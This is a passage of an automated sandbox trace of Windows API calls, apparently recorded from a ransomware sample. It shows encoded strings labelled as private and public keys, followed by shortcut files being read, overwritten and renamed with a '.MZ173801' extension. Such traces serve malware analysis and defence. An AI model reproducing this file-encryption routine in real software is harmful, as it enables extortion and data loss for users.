lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.676] GetCurrentThreadId () returned 0xab4 [0147.676] GetCurrentThreadId () returned 0xab4 [0147.676] GetCurrentThreadId () returned 0xab4 [0147.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.676] GetCurrentThreadId () returned 0xab4 [0147.676] GetCurrentThreadId () returned 0xab4 [0147.676] GetCurrentThreadId () returned 0xab4 [0147.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HqBE4s3H uNUYMjPX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hqbe4s3h unuymjpx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.676] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.677] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.677] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4bd [0147.677] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.677] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x4bd, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x4bd, lpOverlapped=0x0) returned 1 [0147.677] CloseHandle (hObject=0x280) returned 1 [0147.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HqBE4s3H uNUYMjPX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hqbe4s3h unuymjpx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.678] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x4bd, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x4bd, lpOverlapped=0x0) returned 1 [0147.679] CloseHandle (hObject=0x280) returned 1 [0147.680] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HqBE4s3H uNUYMjPX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hqbe4s3h unuymjpx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HqBE4s3H uNUYMjPX.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hqbe4s3h unuymjpx.lnk.mz173801")) returned 1 [0147.681] GetCurrentThreadId () returned 0xab4 [0147.681] GetCurrentThreadId () returned 0xab4 [0147.681] GetCurrentThreadId () returned 0xab4 [0147.681] GetCurrentThreadId () returned 0xab4 [0147.681] GetCurrentThreadId () returned 0xab4 [0147.681] GetCurrentThreadId () returned 0xab4 [0147.681] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf172a957, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf172a957, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf172a957, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="i5uD5Xoo.lnk", cAlternateFileName="")) returned 1 [0147.681] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.681] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i5uD5Xoo.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i5ud5xoo.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf172a957, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf172a957, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf172a957, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x27e)) returned 1 [0147.681] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i5uD5Xoo.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i5ud5xoo.lnk")) returned 0x20 [0147.681] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i5uD5Xoo.lnk", dwFileAttributes=0x80) returned 1 [0147.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 